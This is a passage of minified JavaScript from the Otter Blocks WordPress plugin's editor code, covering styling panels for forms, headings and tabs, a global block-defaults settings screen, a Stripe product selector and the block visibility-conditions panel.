Message","otter-blocks")}]}),(0,o.createElement)(a.PanelBody,{title:(0,s.__)("Button","otter-blocks"),initialOpen:!0},(0,o.createElement)(S.Ik,{value:k,onChange:y,options:[{label:"Normal",value:"normal"},{label:"Hover",value:"hover"}]}),(0,o.createElement)("br",null),"normal"===k&&(0,o.createElement)(b.Fragment,null,(0,o.createElement)(S.Ed,{label:(0,s.__)("Text","otter-blocks"),colorValue:t.submitColor,onColorChange:e=>p({submitColor:e}),className:"is-list is-first"}),(0,o.createElement)(S.Ed,{label:(0,s.__)("Background","otter-blocks"),colorValue:t.submitBackgroundColor,onColorChange:e=>p({submitBackgroundColor:e}),className:"is-list"}))||"hover"===k&&(0,o.createElement)(b.Fragment,null,(0,o.createElement)(S.Ed,{label:(0,s.__)("Text","otter-blocks"),colorValue:t.submitColorHover,onColorChange:e=>p({submitColorHover:e}),className:"is-list is-first"}),(0,o.createElement)(S.Ed,{label:(0,s.__)("Background","otter-blocks"),colorValue:t.submitBackgroundColorHover,onColorChange:e=>p({submitBackgroundColorHover:e}),className:"is-list"})),(0,o.createElement)("br",null),(0,o.createElement)(a.FontSizePicker,{label:(0,s.__)("Font Size","otter-blocks"),fontSizes:V,withReset:!0,value:t.submitFontSize,onChange:e=>p({submitFontSize:e})}),(0,o.createElement)(S.n9,{label:(0,s.__)("Screen Type","otter-blocks")},(0,o.createElement)(a.__experimentalBoxControl,{label:(0,s.__)("Padding","otter-blocks"),values:null!==(n=h([t.buttonPadding,t.buttonPaddingTablet,t.buttonPaddingMobile]))&&void 0!==n?n:{top:"10px",bottom:"10px",right:"20px",left:"20px"},onChange:e=>g(e,["buttonPadding","buttonPaddingTablet","buttonPaddingMobile"])}))),(0,o.createElement)(a.PanelBody,{title:(0,s.__)("Labels","otter-blocks"),initialOpen:!0},(0,o.createElement)(a.FontSizePicker,{label:(0,s.__)("Font Size","otter-blocks"),fontSizes:V,withReset:!0,value:t.labelFontSize,onChange:e=>p({labelFontSize:e})}),(0,o.createElement)(a.RangeControl,{label:(0,s.__)("Spacing","otter-blocks"),value:null!==(r=t.inputGap)&&void 0!==r?r:10,onChange:e=>p({inputGap:e}),allowReset:!0,step:.1,min:0,max:50,initialPosition:10})),(0,o.createElement)(a.PanelBody,{title:(0,s.__)("Input Fields","otter-blocks"),initialOpen:!0},(0,o.createElement)(a.FontSizePicker,{label:(0,s.__)("Input Font Size","otter-blocks"),fontSizes:V,withReset:!0,value:t.inputFontSize,onChange:e=>p({inputFontSize:e})}),(0,o.createElement)(a.RangeControl,{label:(0,s.__)("Fields Spacing","otter-blocks"),value:null!==(i=t.inputsGap)&&void 0!==i?i:16,onChange:e=>p({inputsGap:e}),allowReset:!0,min:0,max:50,initialPosition:16}),(0,o.createElement)(S.n9,{label:(0,s.__)("Screen Type","otter-blocks")},(0,o.createElement)(a.__experimentalBoxControl,{label:(0,s.__)("Input Padding","otter-blocks"),values:null!==(d=h([t.inputPadding,t.inputPaddingTablet,t.inputPaddingMobile]))&&void 0!==d?d:{top:"8px",right:"8px",bottom:"8px",left:"8px"},inputProps:{min:0,max:500},onChange:e=>g(e,["inputPadding","inputPaddingTablet","inputPaddingMobile"])}))),(0,o.createElement)(a.PanelBody,{title:(0,s.__)("Border","otter-blocks"),initialOpen:!0},(0,o.createElement)(a.__experimentalBoxControl,{label:(0,s.__)("Border Radius","otter-blocks"),values:(0,c.isObjectLike)(t.inputBorderRadius)?t.inputBorderRadius:(0,F.rO)((0,T.Yj)(null!==(u=t.inputBorderRadius)&&void 0!==u?u:4)),onChange:e=>p({inputBorderRadius:e}),id:"o-border-raduis-box"}),(0,o.createElement)(a.__experimentalBoxControl,{label:(0,s.__)("Border Width","otter-blocks"),values:(0,c.isObjectLike)(t.inputBorderWidth)?t.inputBorderWidth:(0,F.rO)((0,T.Yj)(null!==(m=t.inputBorderWidth)&&void 0!==m?m:1)),onChange:e=>p({inputBorderWidth:e})})),(0,o.createElement)(a.PanelBody,{title:(0,s.__)("Helper & Submit Messages","otter-blocks"),initialOpen:!0},(0,o.createElement)(a.BaseControl,{label:(0,s.__)("Helper Text Size","otter-blocks")},(0,o.createElement)(a.FontSizePicker,{fontSizes:V,withReset:!0,value:t.helpFontSize,onChange:e=>p({helpFontSize:e})})),(0,o.createElement)(a.BaseControl,{label:(0,s.__)("Success/Error Message Size","otter-blocks")},(0,o.createElement)(a.FontSizePicker,{fontSizes:V,withReset:!0,value:t.messageFontSize,onChange:e=>p({messageFontSize:e})}))))},G=({blockName:e,defaults:t,changeConfig:l})=>{var n,r,i,d,u,m,p,g,h,k,y,f,v,_,C,w,x,B,z,R;const L=t=>{l(e,t)},{responsiveGetAttributes:O}=(0,P.Y)(L),I="unlinked"===t.paddingType?{top:null!==(n=(0,T.Yj)(t.paddingTop))&&void 0!==n?n:"0px",bottom:null!==(r=(0,T.Yj)(t.paddingBottom))&&void 0!==r?r:"0px",right:null!==(i=(0,T.Yj)(t.paddingRight))&&void 0!==i?i:"0px",left:null!==(d=(0,T.Yj)(t.paddingLeft))&&void 0!==d?d:"0px"}:isFinite(t.padding)?(0,F.rO)((0,T.Yj)(t.padding)):{top:"0px",bottom:"0px",right:"0px",left:"0px"},H="unlinked"===t.paddingTypeTablet?{top:null!==(u=(0,T.Yj)(t.paddingTopTablet))&&void 0!==u?u:"0px",bottom:null!==(m=(0,T.Yj)(t.paddingBottomTablet))&&void 0!==m?m:"0px",right:null!==(p=(0,T.Yj)(t.paddingRightTablet))&&void 0!==p?p:"0px",left:null!==(g=(0,T.Yj)(t.paddingLeftTablet))&&void 0!==g?g:"0px"}:isFinite(t.paddingTablet)?(0,F.rO)((0,T.Yj)(t.paddingTablet)):void 0,N="unlinked"===t.paddingTypeMobile?{top:null!==(h=(0,T.Yj)(t.paddingTopMobile))&&void 0!==h?h:"0px",bottom:null!==(k=(0,T.Yj)(t.paddingBottomMobile))&&void 0!==k?k:"0px",right:null!==(y=(0,T.Yj)(t.paddingRightMobile))&&void 0!==y?y:"0px",left:null!==(f=(0,T.Yj)(t.paddingLeftMobile))&&void 0!==f?f:"0px"}:isFinite(t.paddingMobile)?(0,F.rO)((0,T.Yj)(t.paddingMobile)):void 0,A=void 0===t.marginType?{top:null!==(v=(0,T.Yj)(t.marginTop))&&void 0!==v?v:"0px",bottom:null!==(_=(0,T.Yj)(t.marginBottom))&&void 0!==_?_:"25px"}:isFinite(t.margin)?(0,F.rO)((0,T.Yj)(t.margin)):void 0,V=void 0===t.marginTypeTablet?{top:null!==(C=(0,T.Yj)(t.marginTopTablet))&&void 0!==C?C:"0px",bottom:null!==(w=(0,T.Yj)(t.marginBottomTablet))&&void 0!==w?w:"0px"}:isFinite(t.marginTablet)?(0,F.rO)((0,T.Yj)(t.marginTablet)):void 0,D=void 0===t.marginTypeMobile?{top:null!==(x=(0,T.Yj)(t.marginTopMobile))&&void 0!==x?x:"0px",bottom:null!==(B=(0,T.Yj)(t.marginBottomMobile))&&void 0!==B?B:"0px"}:isFinite(t.marginMobile)?(0,F.rO)((0,T.Yj)(t.marginMobile)):void 0;return(0,o.createElement)(b.Fragment,null,(0,o.createElement)(a.PanelBody,{title:(0,s.__)("Typography","otter-blocks"),initialOpen:!0},(0,o.createElement)(S.n9,{label:(0,s.__)("Screen Type","otter-blocks")}),(0,o.createElement)(M.Z,{enableComponents:{fontFamily:!0,appearance:!0,lineHeight:!0,letterCase:!0,spacing:!0,variant:!0},componentsValue:{fontSize:(0,T.Yj)(O([t.fontSize,t.fontSizeTablet,t.fontSizeMobile])),fontFamily:t.fontFamily,lineHeight:t.lineHeight,appearance:t.fontStyle,letterCase:t.textTransform,spacing:t.letterSpacing,variant:t.fontVariant},onChange:e=>{var t;L({fontFamily:e.fontFamily,lineHeight:e.lineHeight,fontStyle:e.appearance,textTransform:e.letterCase,letterSpacing:e.spacing,[null!==(t=O(["fontSize","fontSizeTablet","fontSizeMobile"]))&&void 0!==t?t:"fontSize"]:e.fontSize,fontVariant:e.variant})},onReset:e=>{L("fontSize"===e?{[O(["fontSize","fontSizeTablet","fontSizeMobile"])]:void 0}:{[fieldMapping[e]]:void 0})},allowVariants:!0})),(0,o.createElement)(E.PanelColorSettings,{title:(0,s.__)("Color","otter-blocks"),initialOpen:!1,colorSettings:[{value:t.headingColor,onChange:e=>L({headingColor:e}),label:(0,s.__)("Text","otter-blocks"),isShownByDefault:!0},{value:t.backgroundColor,onChange:e=>L({backgroundColor:e}),label:(0,s.__)("Background","otter-blocks"),isShownByDefault:!0},{value:t.linkColor,onChange:e=>L({linkColor:e}),label:(0,s.__)("Link","otter-blocks"),isShownByDefault:!1},{value:t.linkHoverColor,onChange:e=>L({linkHoverColor:e}),label:(0,s.__)("Link Hover","otter-blocks"),isShownByDefault:!1},{value:t.highlightColor,onChange:e=>L({highlightColor:e}),label:(0,s.__)("Highlight Text","otter-blocks"),isShownByDefault:!1},{value:t.highlightBackground,onChange:e=>L({highlightBackground:e}),label:(0,s.__)("Highlight Background","otter-blocks"),isShownByDefault:!1}]}),(0,o.createElement)(a.PanelBody,{title:(0,s.__)("Dimensions","otter-blocks"),initialOpen:!1},(0,o.createElement)(S.n9,{label:(0,s.__)("Screen Type","otter-blocks")},(0,o.createElement)(a.__experimentalBoxControl,{label:(0,s.__)("Padding","otter-blocks"),values:null!==(z=(0,T.yg)(O([(0,c.isObjectLike)(t.padding)?t.padding:I,(0,c.isObjectLike)(t.paddingTablet)?t.paddingTablet:H,(0,c.isObjectLike)(t.paddingMobile)?t.paddingMobile:N])))&&void 0!==z?z:(0,F.rO)("0px"),onChange:e=>{var t;L({[null!==(t=O(["padding","paddingTablet","paddingMobile"]))&&void 0!==t?t:"padding"]:e})}}),(0,o.createElement)(a.__experimentalBoxControl,{label:(0,s.__)("Margin","otter-blocks"),values:null!==(R=(0,T.yg)(O([(0,c.isObjectLike)(t.margin)?t.margin:A,(0,c.isObjectLike)(t.marginTablet)?t.marginTablet:V,(0,c.isObjectLike)(t.marginMobile)?t.marginMobile:D])))&&void 0!==R?R:{top:"0px",bottom:"25px"},onChange:e=>{var t;L({[null!==(t=O(["margin","marginTablet","marginMobile"]))&&void 0!==t?t:"margin"]:e})},sides:["top","bottom"]}))),(0,o.createElement)(a.PanelBody,{title:(0,s.__)("Shadow","otter-blocks"),initialOpen:!1,className:"o-adv-h-panel"},(0,o.createElement)(a.ToggleControl,{label:(0,s.__)("Enable Text Shadow","otter-blocks"),checked:t.textShadow,onChange:e=>L({textShadow:e})}),t.textShadow&&(0,o.createElement)(b.Fragment,null,(0,o.createElement)(E.__experimentalColorGradientControl,{label:(0,s.__)("Color","otter-blocks"),colorValue:t.textShadowColor,onColorChange:e=>L({textShadowColor:e})}),(0,o.createElement)(S.Fi,{label:(0,s.__)("Shadow Properties","otter-blocks")},(0,o.createElement)(a.RangeControl,{label:(0,s.__)("Opacity","otter-blocks"),value:t.textShadowColorOpacity,onChange:e=>L({textShadowColorOpacity:e}),min:0,max:100}),(0,o.createElement)(a.RangeControl,{label:(0,s.__)("Blur","otter-blocks"),value:t.textShadowBlur,onChange:e=>L({textShadowBlur:e}),min:0,max:100}),(0,o.createElement)(a.RangeControl,{label:(0,s.__)("Horizontal","otter-blocks"),value:t.textShadowHorizontal,onChange:e=>L({textShadowHorizontal:e}),min:-100,max:100}),(0,o.createElement)(a.RangeControl,{label:(0,s.__)("Vertical","otter-blocks"),value:t.textShadowVertical,onChange:e=>L({textShadowVertical:e}),min:-100,max:100})))))},j=({blockName:e,defaults:t,changeConfig:l})=>{const n=t=>l(e,t);return(0,o.createElement)(b.Fragment,null,(0,o.createElement)(a.PanelBody,{title:(0,s.__)("Typography","otter-blocks")},(0,o.createElement)(a.FontSizePicker,{fontSizes:[{name:(0,s.__)("Extra Small","otter-blocks"),icon:"small",size:"14px"},{name:(0,s.__)("Small","otter-blocks"),slug:"small",size:"16px"},{name:(0,s.__)("Medium","otter-blocks"),slug:"medium",size:"18px"},{name:(0,s.__)("Large","otter-blocks"),slug:"large",size:"24px"},{name:(0,s.__)("Extra Large","otter-blocks"),slug:"extra-large",size:"28px"}],value:t.titleFontSize,onChange:e=>n({titleFontSize:e})})),(0,o.createElement)(E.PanelColorSettings,{title:(0,s.__)("Colors","otter-blocks"),initialOpen:!0,setAttributes:n,colorSettings:[{value:t.titleBackgroundColor,label:(0,s.__)("Title Background","otter-blocks"),onChange:e=>n({titleBackgroundColor:e})},{value:t.activeTitleBackgroundColor,label:(0,s.__)("Active Title Background","otter-blocks"),onChange:e=>n({activeTitleBackgroundColor:e})},{value:t.titleColor,label:(0,s.__)("Title Color","otter-blocks"),onChange:e=>n({titleColor:e})},{value:t.activeTitleColor,label:(0,s.__)("Active Title Color","otter-blocks"),onChange:e=>n({activeTitleColor:e})},{value:t.contentTextColor,label:(0,s.__)("Content Text Color","otter-blocks"),onChange:e=>n({contentTextColor:e})},{value:t.tabColor,label:(0,s.__)("Content Background","otter-blocks"),onChange:e=>n({tabColor:e})},{value:t.borderColor,label:(0,s.__)("Border","otter-blocks"),onChange:e=>n({borderColor:e})},{value:t.activeBorderColor,label:(0,s.__)("Active Border","otter-blocks"),onChange:e=>n({activeBorderColor:e})}]}),(0,o.createElement)(a.PanelBody,{title:(0,s.__)("Dimensions(Layout)","otter-blocks"),initialOpen:!0},(0,o.createElement)(a.__experimentalBoxControl,{label:(0,s.__)("Title Padding","otter-blocks"),values:t.titlePadding,onChange:e=>n({titlePadding:(0,T.jO)(e)?void 0:e})}),(0,o.createElement)(a.__experimentalBoxControl,{label:(0,s.__)("Content Padding","otter-blocks"),values:t.contentPadding,onChange:e=>n({contentPadding:(0,T.jO)(e)?void 0:e})})),(0,o.createElement)(a.PanelBody,{title:(0,s.__)("Border Radius","otter-blocks"),initialOpen:!0},(0,o.createElement)(a.__experimentalBoxControl,{label:(0,s.__)("Title Border Width","otter-blocks"),values:t.titleBorderWidth,onChange:e=>{n({titleBorderWidth:(0,T.jO)(e)?void 0:e})}}),(0,o.createElement)(a.__experimentalBoxControl,{label:(0,s.__)("Content Border Width","otter-blocks"),values:t.borderWidth,onChange:e=>{n({borderWidth:(0,T.jO)(e)?void 0:e})}})))},W=l(141);let $=({path:e,isBack:t=!1,onClickAction:l=(()=>{}),...n})=>{const r=(0,a.__experimentalUseNavigator)();return(0,o.createElement)(a.Button,{onClick:()=>{void 0!==r.push?r.push(e,{isBack:t}):r.goTo(e,{isBack:t}),l()},...n})};const U=()=>{var e,t;const{isOnboardingVisible:l,get:r}=(0,n.useSelect)((e=>{const{isOnboardingVisible:t}=e("themeisle-gutenberg/data"),l=e("core/preferences")?.get;return{isOnboardingVisible:t?.(),get:l}}),[]),{createNotice:d}=(0,n.useDispatch)("core/notices"),{showOnboarding:m}=(0,n.useDispatch)("themeisle-gutenberg/data");(0,b.useEffect)((()=>{let e=!0;return(async()=>{(await u()({path:"wp/v2/users/me?context=edit"})).capabilities.manage_options&&e?(y(!0),await window.wp.api.loadPromise.then((()=>{F.current=new window.wp.api.models.Settings})),!1===f&&F.current.fetch().then((e=>{if(""!==e.themeisle_blocks_settings_global_defaults){let t=(0,c.cloneDeep)(w.Z);"object"==typeof window.themeisleGutenberg.themeDefaults&&(t=(0,c.merge)(t,window.themeisleGutenberg.themeDefaults)),t=(0,c.merge)(t,JSON.parse(e.themeisle_blocks_settings_global_defaults)),window.themeisleGutenberg.globalDefaults=JSON.parse(e.themeisle_blocks_settings_global_defaults),E(t)}else{let e=(0,c.cloneDeep)(w.Z);"object"==typeof window.themeisleGutenberg.themeDefaults&&(e=(0,c.merge)(e,window.themeisleGutenberg.themeDefaults)),window.themeisleGutenberg.globalDefaults={},E(e)}v(!0)}))):(y(!1),v(!0))})(),()=>{e=!1}}),[]);const[k,y]=(0,b.useState)(!1),[f,v]=(0,b.useState)(!1),[_,E]=(0,b.useState)({}),[S,T]=(0,b.useState)(void 0),[M,P]=(0,b.useState)(!1),F=(0,b.useRef)(null),[R,I,N]=(0,W.Z)(),[V,U]=(0,b.useState)("loaded"),Z=async e=>{U("loading"),await e,U("loaded")},q=[{name:"themeisle-blocks/accordion",control:x},{name:"themeisle-blocks/button-group",control:z},{name:"themeisle-blocks/button",control:B},{name:"themeisle-blocks/font-awesome-icons",control:L},{name:"themeisle-blocks/advanced-heading",control:G},{name:"themeisle-blocks/review",control:A},{name:"themeisle-blocks/advanced-columns",control:O},{name:"themeisle-blocks/advanced-column",control:H},{name:"themeisle-blocks/form",control:D},{name:"themeisle-blocks/tabs",control:j}];let Y=null;S&&(Y=q.find((e=>e.name===S)).control);const K=Boolean(R("themeisle_blocks_settings_css_module")),J=Boolean(R("themeisle_blocks_settings_blocks_animation")),X=Boolean(R("themeisle_blocks_settings_block_conditions"));return(0,o.createElement)(a.__experimentalNavigatorProvider,{initialPath:"/"},(0,o.createElement)(a.__experimentalNavigatorScreen,{path:"/"},(0,o.createElement)(a.PanelBody,{className:"o-options-general"},(0,o.createElement)(a.PanelRow,null,(0,o.createElement)(a.Button,{icon:i.otterIconColored,onClick:()=>m(!l),className:"o-onboarding-button"},(0,s.__)("Show Onboarding Modal","otter-blocks")))),k&&(0,o.createElement)(b.Fragment,null,(0,o.createElement)(a.PanelBody,{title:(0,s.__)("Block Tools Defaults","otter-blocks"),initialOpen:!0},(0,o.createElement)("p",null,(0,s.__)("Make those features to be shown by default in Block Tools.","otter-blocks")),"loading"===N&&(0,o.createElement)("p",null,(0,o.createElement)(a.Spinner,null),(0,s.__)("Checking optional module...","otter-blocks")),K&&(0,o.createElement)(a.PanelRow,null,(0,o.createElement)(a.ToggleControl,{className:"o-sidebar-toggle",label:(0,s.__)("Custom CSS","otter-blocks"),checked:r?.("themeisle/otter-blocks","show-custom-css"),disabled:"loading"===V,onChange:e=>Z((0,n.dispatch)("core/preferences")?.set("themeisle/otter-blocks","show-custom-css",e))})),J&&(0,o.createElement)(a.PanelRow,null,(0,o.createElement)(a.ToggleControl,{className:"o-sidebar-toggle",label:(0,s.__)("Animation","otter-blocks"),checked:null!==(e=r?.("themeisle/otter-blocks","show-animations"))&&void 0!==e&&e,disabled:"loading"===V,onChange:e=>Z((0,n.dispatch)("core/preferences")?.set("themeisle/otter-blocks","show-animations",e))})),X&&(0,o.createElement)(a.PanelRow,null,(0,o.createElement)(a.ToggleControl,{className:"o-sidebar-toggle",label:(0,s.__)("Visibility Condition","otter-blocks"),checked:null!==(t=r?.("themeisle/otter-blocks","show-block-conditions"))&&void 0!==t&&t,disabled:"loading"===V,onChange:e=>Z((0,n.dispatch)("core/preferences")?.set("themeisle/otter-blocks","show-block-conditions",e))}))),(0,o.createElement)($,{path:"/block-settings",icon:g.Z,className:"o-navi-button"},(0,s.__)("Block Settings","otter-blocks"))),(0,p.applyFilters)("otter.feedback","","otter-menu-editor",(0,s.__)("Help us improve Otter Blocks","otter-blocks"))),(0,o.createElement)(a.__experimentalNavigatorScreen,{path:"/block-settings",className:"o-options-global-defaults"},(0,o.createElement)($,{path:"/",icon:h.Z,className:"o-navi-button o-navi-button-back"},(0,s.__)("Settings","otter-blocks")),(0,o.createElement)(C,{isAPILoaded:f,globalControls:q,blockDefaults:_,setSelectedBlock:T})),(0,o.createElement)(a.__experimentalNavigatorScreen,{path:"/block-settings/global-defaults",className:"o-options-global-defaults-modal"},(0,o.createElement)($,{path:"/block-settings",icon:h.Z,className:"o-navi-button o-navi-button-back"},(0,s.__)("Blocks","otter-blocks")),S&&(0,o.createElement)(b.Fragment,null,(0,o.createElement)(Y,{blockName:S,defaults:_[S],changeConfig:(e,t)=>{const l=(0,c.cloneDeep)(_);for(const o in t)l[e][o]=t[o];window.oTrk?.add({feature:"global-defaults",featureComponent:"block",featureValue:e}),E(l)}}),(0,o.createElement)("div",{className:"o-options-global-defaults-actions"},(0,o.createElement)(a.Button,{isDestructive:!0,onClick:()=>(e=>{const t=(0,c.cloneDeep)(_),l={...w.Z[e]};t[e]=l,E(t)})(S)},(0,s.__)("Reset","otter-blocks")),(0,o.createElement)(a.Button,{isBusy:M,onClick:async()=>{P(!0),await(async()=>{const e=(0,c.cloneDeep)(_);Object.keys(e).forEach((t=>{Object.keys(e[t]).forEach((l=>{(void 0!==w.Z[t]?.[l]&&e[t][l]===w.Z[t][l]||"object"==typeof e[t]?.[l]&&(0,c.isEqual)(e[t]?.[l],w.Z[t]?.[l]))&&delete e[t][l]}))}));const t=new window.wp.api.models.Settings({themeisle_blocks_settings_global_defaults:JSON.stringify(e)});await t.save().then((()=>{var t;window.themeisleGutenberg.globalDefaults=e,t=(0,s.__)("Option updated.","otter-blocks"),a.Snackbar&&d("info",t,{isDismissible:!0,type:"snackbar"})}))})(),P(!1)}},(0,s.__)("Save","otter-blocks"))))))};var Z=l(4333),q=({product:e,onChange:t})=>{const{productsList:l,hasProductsRequestFailed:r,productsError:i,isLoadingProducts:c}=(0,n.useSelect)((e=>{const{getStripeProducts:t,getResolutionError:l,isResolving:o}=e("themeisle-gutenberg/data"),a=t();return{productsList:a?a?.map((e=>({label:`${e?.name} (id:${e?.id})`,value:e?.id}))):[],hasProductsRequestFailed:Boolean(l("getStripeProducts")),productsError:l("getStripeProducts"),isLoadingProducts:o("getStripeProducts")}}),[]);return(0,o.createElement)(b.Fragment,null,!c&&(0,o.createElement)(a.SelectControl,{label:(0,s.__)("Product.","otter-blocks"),value:e,options:[{label:(0,s.__)("Select a product","otter-blocks"),value:"none"},...l],onChange:e=>t("none"!==e?e:void 0)}),r&&(0,o.createElement)("p",null,i?.message),c&&(0,o.createElement)(a.Placeholder,null,(0,o.createElement)(a.Spinner,null)))};const Y=Object.keys(window.themeisleGutenberg.postTypes),K={users:{label:(0,s.__)("Users","otter-blocks"),conditions:[{value:"loggedInUser",label:(0,s.__)("Logged In Users","otter-blocks"),help:(0,s.__)("The selected block will only be visible to logged-in users.")},{value:"loggedOutUser",label:(0,s.__)("Logged Out Users","otter-blocks"),help:(0,s.__)("The selected block will only be visible to logged-out users.")},{value:"userRoles",label:(0,s.__)("User Roles","otter-blocks"),help:(0,s.__)("The selected block will be visible based on user roles."),toogleVisibility:!0},{value:"loggedInUserMeta",label:(0,s.__)("Logged-in User Meta (Pro)","otter-blocks"),help:(0,s.__)("The selected block will be visible based on meta of the logged-in user condition."),isDisabled:!0}]},posts:{label:(0,s.__)("Posts","otter-blocks"),conditions:[{value:"postAuthor",label:(0,s.__)("Post Author","otter-blocks"),help:(0,s.__)("The selected block will be visible based on post author."),toogleVisibility:!0},{value:"postType",label:(0,s.__)("Post Type","otter-blocks"),help:(0,s.__)("The selected block will be visible if post becomes to one of the selected post types."),toogleVisibility:!0},{value:"postCategory",label:(0,s.__)("Post Category","otter-blocks"),help:(0,s.__)("The selected block will be visible based on selected post categories."),toogleVisibility:!0},{value:"postMeta",label:(0,s.__)("Post Meta (Pro)","otter-blocks"),help:(0,s.__)("The selected block will be visible based on post meta condition."),isDisabled:!0}]},dateAndTime:{label:(0,s.__)("Date & Time","otter-blocks"),conditions:[{value:"dateRange",label:(0,s.__)("Date Range (Pro)","otter-blocks"),help:(0,s.__)("The selected block will be visible based on the date range. Timezone is used based on your WordPress settings."),isDisabled:!0},{value:"dateRecurring",label:(0,s.__)("Date Recurring (Pro)","otter-blocks"),help:(0,s.__)("The selected block will be visible based on the selected days. Timezone is used based on your WordPress settings."),isDisabled:!0},{value:"timeRecurring",label:(0,s.__)("Time Recurring (Pro)","otter-blocks"),help:(0,s.__)("The selected block will be visible during the selected time. Timezone is used based on your WordPress settings."),isDisabled:!0}]},advance:{label:(0,s.__)("Advance","otter-blocks"),conditions:[{value:"screenSize",label:(0,s.__)("Screen Size","otter-blocks"),help:(0,s.__)("The selected block will be invisible based on the screen size."),toggleVisibility:!0},{value:"queryString",label:(0,s.__)("Query String (Pro)","otter-blocks"),help:(0,s.__)("The condition will be met if the URL contains specified parameters."),isDisabled:!0},{value:"country",label:(0,s.__)("Country (Pro)","otter-blocks"),help:(0,s.__)("The selected block will be visible based on user's country based on the IP address."),isDisabled:!0},{value:"cookie",label:(0,s.__)("Cookie (Pro)","otter-blocks"),help:(0,s.__)("The selected block will be visible based on PHP cookies."),isDisabled:!0}]},woocommerce:{label:(0,s.__)("WooCommerce","otter-blocks"),conditions:[{value:"wooProductsInCart",label:(0,s.__)("Products in Cart (Pro)","otter-blocks"),help:(0,s.__)("The selected block will be visible based on the products added to WooCommerce cart."),isDisabled:!0},{value:"wooTotalCartValue",label:(0,s.__)("Total Cart Value (Pro)","otter-blocks"),help:(0,s.__)("The selected block will be visible based on the total value of WooCommerce cart."),isDisabled:!0},{value:"wooPurchaseHistory",label:(0,s.__)("Purchase History (Pro)","otter-blocks"),help:(0,s.__)("The selected block will be visible based on user's WooCommerce purchase history."),isDisabled:!0},{value:"wooTotalSpent",label:(0,s.__)("Total Spent (Pro)","otter-blocks"),help:(0,s.__)("The selected block will be visible based on how much the user spent during lifetime."),isDisabled:!0}]},stripe:{label:(0,s.__)("Stripe","otter-blocks"),conditions:[{value:"stripePurchaseHistory",label:(0,s.__)("Purchase History","otter-blocks"),help:(0,s.__)("The selected block will be visible based on user's Stripe purchase history."),toogleVisibility:!0}]},learndash:{label:(0,s.__)("LearnDash","otter-blocks"),conditions:[{value:"learnDashPurchaseHistory",label:(0,s.__)("Purchase History (Pro)","otter-blocks"),help:(0,s.__)("The selected block will be visible based on user's LearnDash purchase history."),isDisabled:!0},{value:"learnDashCourseStatus",label:(0,s.__)("Course Status (Pro)","otter-blocks"),help:(0,s.__)("The selected block will be visible based on user's LearnDash course status."),isDisabled:!0}]}},J=Object.keys(K),X=e=>{const{postAuthors:t,isLoading:l}=(0,n.useSelect)((e=>{var t;const{getUsers:l,isResolving:o}=e("core");return{postAuthors:(null!==(t=l({who:"authors",context:"view"}))&&void 0!==t?t:[]).map((e=>{var t;return null!==(t=e.username)&&void 0!==t?t:e.name})).filter(Boolean),isLoading:o("getUsers",[{who:"authors",context:"view"}])}}),[]);return l?(0,o.createElement)(a.Placeholder,null,(0,o.createElement)(a.Spinner,null)):(0,o.createElement)(a.FormTokenField,{...e,suggestions:t,__experimentalExpandOnFocus:!0,__experimentalValidateInput:e=>t.includes(e)})},Q=e=>{const{postCategories:t,isLoading:l}=(0,n.useSelect)((e=>{var t;const{getEntityRecords:l,isResolving:o}=e("core");return{postCategories:(null!==(t=l("taxonomy","category",{per_page:-1,context:"view"}))&&void 0!==t?t:[]).map((e=>e.slug)),isLoading:o("getEntityRecords",["taxonomy","category",{per_page:-1,context:"view"}])}}),[]);return l?(0,o.createElement)(a.Placeholder,null,(0,o.createElement)(a.Spinner,null)):(0,o.createElement)(a.FormTokenField,{...e,suggestions:t,__experimentalExpandOnFocus:!0,__experimentalValidateInput:e=>t.includes(e)})},ee=({label:e})=>(0,o.createElement)("div",{className:"o-conditions__operator-wrapper"},(0,o.createElement)("div",{className:"o-conditions__operator-line"}),(0,o.createElement)("div",{className:"o-conditions__operator-word"},(0,o.createElement)("span",null,e)));var te=(0,b.memo)((({attributes:e,setAttributes:t,name:l})=>{const[n,r]=(0,b.useState)(null),[i,d]=(0,b.useState)({}),[u,m]=(0,b.useState)([]),[g,h]=(0,b.useState)([]),k=e=>{if(window.wp.hasOwnProperty("customize")&&window.wp.customize){const l=[...e.otterConditions||[],[]];t({otterConditions:l}),r(e)}else t(e)};(0,b.useEffect)((()=>{n&&window.wp.hasOwnProperty("customize")&&window.wp.customize&&t(n)}),[n]),(0,b.useEffect)((()=>{if(!Boolean(e?.otterConditions?.length))return;let t=[...e.otterConditions?.filter((e=>!(0,c.isEmpty)(e)))];Boolean(t.length)||(t=void 0),k({otterConditions:t})}),[]),(0,b.useEffect)((()=>{const e=(0,p.applyFilters)("otter.blockConditions.conditions",K),t=J.map((t=>e?.[t].conditions)).flat();t.splice(0,0,{value:"none",label:(0,s.__)("Select a condition","otter-blocks"),help:(0,s.__)("Select a condition to control the visibility of your block.","otter-blocks")}),d(e),m(t),h(t.filter((e=>e.toogleVisibility))?.map((e=>e.value)))}),[e.otterConditions]);const y=(t,l,o,a)=>{const n=[...e.otterConditions];n[l][o][a]=t,k({otterConditions:n})},f=(t,l,o,a)=>{const n=[...e.otterConditions];null!==t?n[l][o][a]=t:delete n[l][o][a],k({otterConditions:n})},v=(t,l,o,a)=>{const n=[...e.otterConditions];n[l][o][a]?.includes(t)?n[l][o][a]=n[l][o][a].filter((e=>e!==t)):n[l][o][a]?.push(t),k({otterConditions:n})};return(0,o.createElement)(a.PanelBody,{title:(0,s.__)("Visibility Conditions","otter-blocks"),initialOpen:!1},(0,o.createElement)("p",null,(0,s.__)("Control the visibility of your blocks based on the following conditions.","otter-blocks")),(0,o.createElement)("p",null,(0,s.__)("Display the block if…","otter-blocks")),e.otterConditions&&e.otterConditions.map(((t,n)=>(0,o.createElement)(b.Fragment,{key:n},(0,o.createElement)(S.qL,{label:(0,s.__)("Rule Group","otter-blocks"),onDelete:()=>(t=>{let l=[...e.otterConditions];l.splice(t,1),Boolean(l.length)||(l=void 0),k({otterConditions:l})})(n)},t&&t.map(((r,c)=>(0,o.createElement)(b.Fragment,{key:`${n}_${c}`},(0,o.createElement)(a.BaseControl,{label:(0,s.__)("Condition","otter-blocks"),help:u.find((e=>e.value===(r.type||"none")))?.help,id:`o-conditions-${n}-${c}`},(0,o.createElement)("select",{value:r.type||"",onChange:t=>((t,o,a)=>{var n,r;window.oTrk?.set(`condition-type_${null!==(n=e?.id)&&void 0!==n?n:l}_${o}_${a}`,{groupID:null!==(r=e?.id)&&void 0!==r?r:l,feature:"condition",featureComponent:"condition-type",featureValue:t});const 